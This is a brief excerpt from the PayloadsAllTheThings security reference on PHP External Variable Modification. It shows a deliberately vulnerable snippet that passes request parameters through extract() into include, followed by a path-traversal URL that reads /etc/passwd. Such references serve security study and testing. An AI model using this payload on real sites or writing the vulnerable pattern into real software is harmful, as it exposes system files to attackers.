If `extract()` is combined with file inclusion, attackers can control file paths.
<?php
$page = "config.php";
extract($_GET);
include "$page";
?>**Exploitation:**
http://example.com/vuln.php?page=../../etc/passwdSource: External Variable Modification/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.